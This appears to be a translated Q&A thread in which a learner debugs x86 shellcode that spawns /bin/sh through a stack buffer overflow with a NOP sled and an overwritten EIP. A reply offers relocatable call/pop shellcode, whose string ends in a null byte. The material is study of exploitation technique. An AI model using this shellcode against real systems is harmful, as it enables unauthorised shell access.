我正在尝试学习如何进行基本的缓冲区溢出攻击。我有工作程序集和正确的外壳代码(没有空字节或对其他数据的引用)。程序集如下:
;clear out registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
;execve("//bin/sh",NULL,NULL)
mov al, 11
;ascii for //bin/sh
;2f 2f 62 69 6e 2f 73 68
; push null bytes on to stack
push bx
push 0x68732f6e
push 0x69622f2f
;set ebx to //bin/sh
mov ebx, esp
;call execve
int 0x80
当我自己运行程序集时,它工作正常。 当我使用 nop 雪橇和正确的地址从中构造 shell 代码时,我能够覆盖 eip 并让它开始执行我的程序集。
问题是,由于我的指令存储在堆栈上(在 64 字节缓冲区中),第二个推送指令会覆盖我代码中的最后一条指令。因此,int 0x80
永远不会执行,因为它被替换为 2f2f。谁能告诉我如何解决或解决这个问题?
尝试使用可重定位的代码和数据。最后一件事是通过弄清楚我们的代码在哪个地址来实现的,如下所示:
call next ;push address of next instruction to stack.
nop ;this is to avoid offset in CALL instruction to be 0.
next: pop ebx ;EBX holds this very same code address
xor ecx,ecx
mov cl,exename-next ;ECX is offset to exename
add ebx,ecx ;now EBX points to exename
xor eax,eax
xor ecx,ecx
xor edx,edx
mov al,11
int 80h
exename: db "/bin/sh",0
CALL
指令实际上是一个CALL NEAR
指令,因此它使用偏移量,而不是绝对地址,因此是可重定位的。此代码仅使用 4 个字节的堆栈,而不是 12 个字节。